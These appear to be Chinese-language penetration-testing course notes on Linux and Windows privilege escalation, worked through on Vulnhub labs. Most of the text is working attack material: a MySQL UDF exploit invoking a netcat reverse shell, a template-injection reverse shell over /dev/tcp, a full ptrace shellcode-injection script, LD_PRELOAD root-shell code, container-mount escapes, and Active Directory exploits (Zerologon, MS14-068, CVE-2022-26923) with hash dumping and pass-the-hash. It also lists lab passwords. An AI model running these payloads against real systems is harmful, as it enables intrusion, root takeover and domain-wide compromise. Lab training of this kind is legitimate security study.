从刘迪(小迪安全) 迪总yyd
免责声明:仅供参考学习,禁止非法活动,如有违法犯罪,概不追究本人责任。
141-权限提升-Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等
Linux系统提权-Web&用户-数据库类型
https://www.vulnhub.com/entry/raven-2,269/
信息收集
http://192.168.139.155/vendor/
Web权限获取
searchsploit phpmailer
python -c 'import pty; pty.spawn("/bin/bash")'
先用我的方法
利用哥斯拉先生成一个一句话木马,将shell给到哥斯拉工具上,然后链接mysql 给他输入sql语句强制开启远程链接,再用MT提数据库权限。
我本地用python搭建一个服务器,给我搭建的服务器一个一句话木马,然后用 将 kali 上的shell wget我搭建服务器上的一句话木马,将木马上传到受害服务器里面。最后哥斯拉getshell
然后用到win提权篇章,mysql提权
找到mysql的root用户的密码
拿下MySQL账号密码
强制开启远程链接 用Multiple.Database.Utilization.Tools 链接(狗头)
哈哈哈哈哈 打这个靶场 这个靶场开了防火墙 对外 不开放 3306 端口, 只有 主机本身 能够访问这个端口
所以 都是白扯 都不行 ,只能通过别的方法提权 到root把 这个给关了,但是又很矛盾。
所以不能 用这个工具链接 即使强制开启 链接
感谢 迪总的点拨
感谢 群里面的大佬给我说的。
用迪总的思路-(防止上面的思路)
3、MYSQL-UDF提权:
-编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
python -m http.server 8080
-下载到目标上
python -c 'import pty; pty.spawn("/bin/bash")'
cd tmp
wget http://192.168.139.141:8080/udf.so
-连接进行导出调用
mysql -uroot -pR@v3nSecurity 进入mysql
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置 (如果开启 文件写入和导出是会限制的,但在本靶场上是关的)
show variables like '%plugin%'; #查找插件位置 (就是上面生成的文件 要放在哪里)
show variables like '%compile%'; #查看系统版本
# 创建xiaodi表
use mysql;
create table xiaodi(line blob);
# 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
# 导出udf.so
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建do_system自定义函数
create function do_system(这个名字可以随便起) returns integer soname 'udf.so';
select do_system(更上面一样)('nc 192.168.1.5 6666 -e /bin/bash');
第六行 为什么刚才下载不直接 讲文件 导入 到 '/usr/lib/mysql/plugin/udf.so' 这个目录下 是因为 我把文件写入到mysql里面,用mysql服务转移这个文件,到 '/usr/lib/mysql/plugin/udf.so'这个目录,是有权限转的。但如果我没有 mysql这个媒介我是没有权限这样 转移文件的。
ok拿下
Linux系统提权-Web&用户-Capability能力
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html(这篇文章很好)
还有漏洞利用参考网站 : https://gtfobins.github.io/
原理演示:
管理员设置权限
cp /usr/bin/php /tmp/php 将php文件 拷贝到/tmp目录下
设置能力:setcap cap_setuid+ep /tmp/php
给 /tmp/php一个 附属 cap_setuid的能力 (cap_setuid 为 ) https://www.jianshu.com/p/60673ac0454f这篇文章有讲到 下面有说明
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null
普通用户提权
通过这个https://gtfobins.github.io/ 搜索php
通过 网站 https://gtfobins.github.io/ 参考 发现上面的 tmp/php 可以利用
发现 /tmp/php 可以利用 接下来 用
参考模块
CAP_CHOWN 0 允许改变文件的所有权
CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制
CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制
CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID
CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位
CAP_KILL 5 允许对不属于自己的进程发送信号
CAP_SETGID 6 允许改变组ID
CAP_SETUID 7 允许改变用户ID
CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)
CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性
CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口
CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)
CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.
CAP_NET_RAW 13 允许使用原始(raw)套接字
CAP_IPC_LOCK 14 允许锁定共享内存片段
CAP_IPC_OWNER 15 忽略IPC所有权检查
CAP_SYS_MODULE 16 插入和删除内核模块
CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问
CAP_SYS_CHROOT 18 允许使用chroot()系统调用
CAP_SYS_PTRACE 19 允许跟踪任何进程
CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)
CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.
CAP_SYS_BOOT 22 允许重新启动系统
CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级
CAP_SYS_RESOURCE 24 忽略资源限制
CAP_SYS_TIME 25 允许改变系统时钟
CAP_SYS_TTY_CONFIG 26 允许配置TTY设备
CAP_MKNOD 27 允许使用mknod()系统调用
CAP_LEASE 28 允许在文件上建立租借锁
CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序
作者:循环不计次
链接:https://www.jianshu.com/p/60673ac0454f
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
Chat gpt 的回答
从图片内容来看,您在讨论 Linux 系统下利用 CAP_SETUID 能力提升权限的原理问题。具体提到两点疑问:
PHP 被设置为 cap_setuid+ep 的能力后,是不是可以直接使用 https://gtfobins.github.io/ 上的代码去提权?
是否只要 PHP 拥有 Capability 能力,不管具体是设置什么,是否都能提权?
解答如下:
1. 为什么设置了 cap_setuid+ep 后可以使用提权代码?
CAP_SETUID 能力允许进程在运行时切换用户 ID(UID)。
如果 PHP 被赋予了 CAP_SETUID 能力(setcap cap_setuid+ep /path/to/php),PHP 脚本就可以调用类似 posix_setuid(0) 的函数将 UID 切换为 root(UID 为 0),进而执行高权限命令。
gtfobins.github.io 提供的提权代码正是利用这个特性,通过执行 /bin/sh 来打开一个高权限 shell。
2. 是否所有 Capability 都能提权?
并不是所有 Capability 都能直接用于提权,关键在于:
被赋予的能力是否允许进程绕过系统的权限限制。
例如:CAP_SETUID 能力显然是有提权风险的,而 CAP_NET_BIND_SERVICE 只是允许非 root 用户绑定 1024 以下端口,这种能力本身不能直接导致提权。
因此:
只有 PHP 被赋予了特定的敏感能力(例如 CAP_SETUID),才能利用 gtfobins.github.io 上的代码提权。
如果是其他与权限无关的 Capability,则不能直接通过代码切换 UID 或提权。
如果您还有其他疑问,可以继续深入探讨!
反正就搜一下 有这个命令 然后 直接搞 不行就算了
真实靶场环境
WP参考:https://www.jianshu.com/p/60673ac0454f
环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
直接登入
如何知道账号密码吗,这里就不赘述了,直接登入
账号:saket
密码:Saket!#$%@!!
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}
上面登入进去有python的模板注入
利用代码
http://192.168.1.6:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E1%2E5%2F6688+0%3E%261%22%27%29%7D%7D
/sbin/getcap -r / 2>/dev/null (需要新建一个终端 如果只是/getcap -r / 2>/dev/null 是没有回显得)
cap_sys_ptrace+ep 允许pytho 跟踪所有进程
所以就可以利用python进行 进程注入 去提权
下载进程注入脚本
脚本源码:python Capabilities cap_sys_ptrace+ep提权 - 隐念笎 - 博客园
# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
3、因为需要找root进程进行注入,所以简单写个脚本对root进程进行批量尝试
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 11.py $i; done
nc 192.168.1.6 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用
Linux系统提权-普通用户-LD_Preload加载
原理
就跟 win的dll劫持注入提权差不多,就是因为有了LD_Preload 加载,就可以 在加载文件的时候,指定加载一个 xxx.so文件 实现提权的效果。
参考:https://www.cnblogs.com/backlion/p/10503985.html
实验一(sudo)
Defaults env_keep += LD_PRELOAD (启用这个模式 条件)
test(低权限用户名字) ALL=(ALL:ALL) NOPASSWD: /usr/bin/find (sudo 条件)
这两个设置 会造成连个提权漏洞(其一是sudo提权 其二是LD_Preload提权)
这两个设置 会造成连个提权漏洞(其一是sudo提权 其二是LD_Preload提权)
先来sudo
利用sudo 拿下权限
实验二(LD_Preload)
条件
Defaults env_keep += LD_PRELOAD (启用这个模式 条件)
test(低权限用户名字) ALL=(ALL:ALL) NOPASSWD: /usr/bin/find (sudo 条件)
先编译好文件
避坑 那个c文件需要这样写
void _init() {
unsetenv("LD_PRELOAD"); // 清除 LD_PRELOAD 环境变量
setgid(0); // 设置组 ID 为 0 (root)
setuid(0); // 设置用户 ID 为 0 (root)
system("/bin/sh"); // 启动一个 shell
}
gcc -fPIC -shared -o 2.so 2.c -nostartfiles
sudo LD_PRELOAD=/tmp/2.so find (这个命令就是 让这个find执行的时候绑定 这个 2.so文件 因为find 是sudo给予root 权限所以 执行root的时候用root权限执行2.so文件 成功root权限)
whoami
实验三
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudo LD_PRELOAD=/tmp/2.so /tmp/LinEnum.sh
疑问:通过上面两个实验,我们是不是绝对第二个实验有点多余,为什么我不直接用 find 去提权,而是 用LD_Preload 去提权呢?
因为: 如果我sudo不使用 find 或者别的,请问阁下该如何应对 那就需要 LD_Preload 去提权了 这里 sudo我配置 LinEnum.sh文件,那么 在使用xb 这个低权限用户时候就需要 LD_Preload提权手法 让在执行 LinENum.sh文件的时候提前 执行 2.so文件。
或者是分析 LinEnum.sh文件是否支持 命令执行 二进制的东西 我就不太会了
有参考文章 sudo 配合 全局路径 提取
https://blog.51cto.com/u_15072780/4384532
https://www.huangmj.com/17123057141312.html
结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权
(sudo 配合 环境变量 提权 咳咳咳)
https://blog.51cto.com/u_15072780/4384532
142-权限提升-Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄漏
Linux系统提权-普通用户-LXD容器
原理
LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。
lxd本地提权条件:
-已经获得Shell
-用户属于lxd组
靶场环境 https://www.vulnhub.com/entry/ai-web-2,357/.
入口点:(这里就不演示如何得到这个的,有兴趣可以搞一下)
ssh的账号密码
User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf
发现是lxd用户的
检测及利用
./LinEnum.sh
https://github.com/saghul/lxd-alpine-builder(在目标主机上下载lxd镜像)
创建容器,挂载磁盘,进入容器,进入目录提权
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test (镜像导入 命名为test)
lxc init test test -c security.privileged=true (初始化这个镜像)
lxc config device add test test disk source=/ path=/mnt/root recursive=true (配置这个镜像的磁盘,source=/ 这个是真机根目录 path=/mnt/root 镜像里面的目录)
lxc start test
lxc exec test /bin/sh
cd /mnt/root/root (相当于进入 真机的 root目录) (相当于真机的/root目录)
cat flag.txt
提权
虽然可以看到,但是还是不能执行命令,下一节会讲到如何执行命令(但现在就是root权限 如果不是root权限是看不到 flag.txt文件的)
Linux系统提权-普通用户-Docker容器
(一个普通用户在这个是在 真机上 发现真机上有 Docker 那么我们不妨尝试利用Docker相对应的提权漏洞去提权)
条件: 普通用户 && 这个普通用户在Docker组中
原理解释
把一个普通账号test添加到docker组
使用newgrp将root初始组切换为docker
usermod -G docker test (加入 docker 用户组 将test用户加进去)
newgrp docker
su test 切换到 test用户
docker run -v /:/mnt -it alpine (将真机的根目录 放到 mnt目录 随便拉个目录 )
所以
ls /mnt/root (这里查看 就是真机的 root目录 这个相当于 上面得 lxd) 提权了
Docker本地提权条件
1、已经获得Shell
2、用户属于docker组
参考:云安全95-96课的逃逸
https://www.vulnhub.com/entry/chill-hack-1,622/
1、入口点的ssh:
User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root
Linux系统提权-普通用户-Rbash绕过(只是绕过 不是提权哦)
参考:https://xz.aliyun.com/t/7642
Rbash(The Restricted mode of bash),也就是限制型bash
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
sudoadduser xiaodisec
sudo usermod -s /bin/rbash xiaodisec
https://www.vulnhub.com/entry/funbox-rookie,520/
入口点:
破解压缩密码
fscan -h 192.168.1.0/24
ftp 192.168.1.8
get tom.zip(密码:iubire)
ssh链接
ssh tom@192.168.1.8 -i id_rsa
2、Rbash绕过:
python -m http.server 8080
wget http://192.168.1.3:8080/LinEnum.sh
rbash 绕过
https://xz.aliyun.com/t/7642 绕过rbash大全
awk 'BEGIN {system("/bin/bash")}'
3历史泄漏提权
./LinEnum.sh
cat /home/tom/.mysql_history
su root(xx11yy22!)
143-权限提升-Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
实战场景:
通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,
与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。
就是通过拿下域中一台主机和账号密码,然后通过域漏洞,从而拿下整个域的权限
WIN-AD域控提权-CVE-2014-6324
这个实验我就不做了,电脑没一点内存了。
前提条件:
1、需要域用户账号密码
2、一台主机的管理员权限
whoami /user
net time /domain
net config workstation
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u [email protected] -p admin!@#45 -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d OWA2010CN-God.god.org
kerberos::list
kerberos::purge
kerberos::ptc "[email protected]"
dir\OWA2010CN-God.god.orgC$
psexec \OWA2010CN-God.god.org cmd
WIN-AD域控提权-CVE-2021-42287
只需要域用户账号密码
https://github.com/WazeHell/sam-the-admin
python3 sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell
#WIN-AD域控提权-CVE-2020-1472
CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞,
影响Windows Server 2008R2至Windows Server 2019的多个版本系统,
只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.
该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.
计算机名:nbtscan -v -h 192.168.3.21
漏洞检测:python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21
重置空密码:python3 cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21
连接后导出:python3 secretsdump.py god.org/OWA2010CN-GOD$@192.168.3.21 -no-pass
WMI连接反弹:
python3 wmiexec.py god/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
WIN-AD域控提权-CVE-2022-26923
前提条件:
1、一个域内普通账号
2、域内存在证书服务器
Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local
获取CA结构名和计算机名
certutil -config - -ping
域内信息
192.168.3.111
test Pass123
xiaodi-DC-CA
DC.xiaodi.local
1、申请证书:(Certipy)
certipy req 'xiaodi.local/test:[email protected]' -ca xiaodi-DC-CA -template User -debug
2、检测证书(Certipy)
certipy auth -pfx test.pfx
3、添加用户:(bloodyAD)
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'
4、设置属性:(bloodyAD)
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'
5、申请证书:(Certipy)
certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug
6、检测证书:(Certipy)
certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111
7、获取HASH:(impacket)
python3 secretsdump.py 'xiaodi.local/[email protected]' -hashes :b6046c1026699b59301ff66341838df4
8、利用HASH:(impacket)
python3 wmiexec.py xiaodi.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
原文始发于微信公众号(嵩艺):小迪安全笔记—最新B站视频笔记-Linux 提权-下
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论